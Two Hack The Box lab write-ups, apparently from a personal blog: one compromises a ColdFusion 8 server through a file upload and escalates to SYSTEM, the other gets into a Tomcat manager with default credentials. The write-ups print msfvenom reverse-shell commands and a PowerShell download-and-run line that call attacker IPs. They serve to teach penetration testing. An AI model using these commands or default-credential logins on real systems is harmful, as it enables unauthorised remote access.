Hack The Box – Arctic – writeup

Arctic is a vulnerable windows box showing the risks of running an unpatched Coldfusion server and a very out dated windows 2008 r2 server.

First step as standard is to run a nmap scan and see what ports are available to us:

There are 3 ports visible from the scan, port 135 and 49154 are standard for RPC and they are present on a lot of HTB boxes. the mystery port 8500 is unknown to nmap so lets take a look at that one first. Google tells us it’s the default port for Adobe Coldfusion.

Visiting the host on port 8500 using a browser gives us a directory to we can navigate. the letters CF at the start of the names are another clue pointing to this being a Coldfusion server.

For whatever reason this directory takes absolutely ages to load each page so to make things easier I tried loading every page I saw in a new tab and went away for 10 minutes to make a cup of tea while they loaded.

The CFIDE folder contained an administrator page which is all the confirmation we need about this being a Coldfusion host. It also tells us this is version 8.

Some more Google enumeration tells us that version 8 came out in 2007, if this is a base install then there will almost certainly be many different vulnerabilities out by now we could use to try and break into this box (nothing stays secure forever):

Searching on exploit-db by date we can see a few cross site scripting vulnerabilities but more helpfully an arbitrary file upload.

Taking a quick look at the code it seems like a small ruby script which exploits the FCKeditor upload functionality, it also has a module in Metasploit which makes things easier for us.

If you launch Msfconsole and search for “Coldfusion”, there are a few results. Looks like number 7 most closely matches what we found in exploit-db. The only difference is the date.

The exploit only requires a remote host and remote port.

Unfortunately it fails when run. Time to start trying harder!

The next step felt like I got a bit lucky. When an exploit fails to run one of the first things I check is whether the victim box is still up and running. Sometimes other users have broken it or a failed exploit causes it to crash so you need to give it a reboot before continuing. As a test I refreshed the IE page and when it came back I saw it had a new folder called “userfiles”. So the exploit hadn’t totally failed , looks likes it had managed to upload at least some files:

This new folder contains a .jsp file which is likely the exploit Metasploit had uploaded but for whatever reason had failed to run. Lets setup up a listener and see if we can run it manually. The error from Metasploit earlier showed us that we expect to reverse shell to start talking on port 4444:

Now click on the .jsp

And it works! we are on the server as a user named tolis:

The flag is in the expected location:

tolis doesn’t have admin rights so in order to get the root flag we’re going to have to start looking at what privilege escalation we have available to us. Systeminfo tells us that this is a server 2008 R2 system so unless it is patched up to the latest version we should be able to find a few things to try:

But before jumping straight into new exploits It’s always a good idea to try to improve whatever shell you managed to get as a foothold. In this instance we’re going to try and transfer this shell into the Metasploit meterpreter to take advantage of all the extra features it has over our basic shell. We can try to create a payload using msfvenom and hopefully it’ll let us upload it using the shell we currently have. We know the server is some sort of web server so it likely won’t have any problems if we use a HTTP reverse shell.

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f jsp -o dodgyfile.exe

Now to start the SimpleHTTPserver that comes with Kali:

And after a bit of trial and error we can download the payload to the victim server using this line:

powershell -c “(new-object System.Net.WebClient).DownloadFile(‘http://10.10.14.20:80/dodgyfile.exe’,’superdodgy.exe’)”

Before we run it we need to setup the listener on our Kali box to be ready to catch the incoming connection, back in msfconsole we set the payload type, the host and port to listen on (Matching what we set in msfvenom previously):

Back on the victim machine lets run the payload and see if it works:

It connects instantly and we can start enjoying our new shell:

One of the first things to try is the built in “getsystem” command within Meterpreter which tries a few quick privilege escalation methods. I don’t find that it works too often but it’s quick enough that it never hurts to try:

No luck. Another feature of the meterpreter shell is a post-exploit tool which can scan the system and suggest possible privilege escalations to try located at: /post/multi/recon/local_exploit_suggester which finds 11 possible exploits and after some quick tests suggests 4 of them are likely to work:

Starting at the top lets try ms10_092_schelevator after backgrounding our new shell

Setting our session option and running it looks promising at first but gives mixed messages about whether it has worked or not:

If we have another look at the options for this exploit it shows that the LHOST isn’t set correctly:

If we fix that to use the IP we have on the HTB network instead of on the local network the exploit works better and we get our system shell:

Root flag is in the usual location:

Advertisement

Hack The Box – Jerry – Writeup

Jerry is a retired box from HTB so can only be done if you have a premium VIP account.

It shows the risks of leaving default credentials for installed services. The solution I’ve got here is fairly standard and I’ve kept in a little of extra in terms of thought processes which didn’t go anywhere instead of just writing out how to get the flags yourself.

---

First step is to run an Nmap scan of the target and note that it only comes back with one port, running Apache Tomcat version 7.0.88 and Coyote JSP Engine 1.1

As it looks like a web server, we can visit the site and confirm it looks like a base install of Apache Tomcat version 7.0.88

Only thing to notice from this generic Tomcat page is a file path name. This is worth noting in case we are trying to navigate around the file system at a later point in time.

Normally this might be the time to start running a tool like dirb or dirbuster to try and find what else is available on this server however some nice links are given to us in the top right as “Server Status” “Manager App” and “Host manager”. All 3 present us with a login box if we try to access them.

As this looks like a default install of Tomcat lets check to see if the default credentials have been changed. A quick Google search reveals a Github page with about 20 default passwords listed for tomcat installs. If there were more than 20 we Could use Hydra to automate trying them however as the passwords were short and simple enough you can work through them manually very quickly.

Doing this with the Server status module yields success for the login admin:admin

There isn’t much to see on this page, the only thing which stands out is an out of date java version which isn’t directly vulnerable now but worth noting for later if we get stuck.

Trying to log into the other modules now gives a HTTP 403 authorisation error instead of the password prompt from before. This is because the site is still trying to login with the admin:admin credential from earlier and while it registers as a valid set of credentials the admin account doesn’t have authorisation to access the other modules. There is no logout option on the site so you need to clear your browser history to reset.

A different set of  default credentials from Github is successful and we can get into the Manager app using tomcat:s3cret

There is plenty of interesting info on this page but the obvious place to start looking is the upload feature. Any functionality which gives us the ability to put our own files onto a remote server and execute them is a good candidate for further investigation.

If we can get a file onto the server which executes a reverse shell and connects back to us we can use that as a foothold to get further into the system. Lets use msfvenom to help create this reverse shell in a .war format as it is most likely going to be accepted by the uploader. We know the server is sending out http traffic so as a first choice we should look at using the http reverse shell. Any protocol not blocked by the firewall is likely to work for this.

We need to edit the options in the Meterpreter shell with the details of our local machine IP and port and give it a name of dodgyfile.war

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.14.6 LPORT=4567 -f war -o dodgyfile.war

The .war file is going to have a .jsp file inside with a randomised name. This is in an effort to try to disguise it from virus scanners. It’s worth making a note of the name in case we need to manually visit it later. You can view the contents of the war file using any zip tool.

Now that we have the payload we should setup our machine to start listening in case the reverse shell gets activated as soon as we complete the upload.

Setup Metasploit as the listener by opening it up and using the exploit/multi/handler and giving it a few parameters

set the local host to your network interface (Look it up using ifconfig if needed). Set the port to whatever was set in the payload previously.

Start the listener using exploit -j  (-j puts the process into the background as soon as it starts)

Back on the target website lets try and upload our dodgy file. Fingers crossed there aren’t any extra security checks which might flag up the file. (unlikely, but we won’t know util we try)

Looks like it has uploaded fine, checking the Metasploit listener it hasn’t auto-ran so we need to find out how to get it started manually.

After a bit of clicking about and trying the features on the app manager page it looks like you can manually navigate to the .jsp we noted earlier to get it to execute.

As our listener was in the background waiting it caught the incoming connection and we can interact with it using:

sessions -i 1

To make things easier to navigate use the shell command and you can start enumeration and browsing for the required flags.

Slightly disappointing that there is no privilege escalation required for this box as you start your shell as the system account by default and can go straight into the administration account. The only small challenge left is to remember how to use quotes to see the contents of a text file with spaces in its name. Both flags are in the same text file.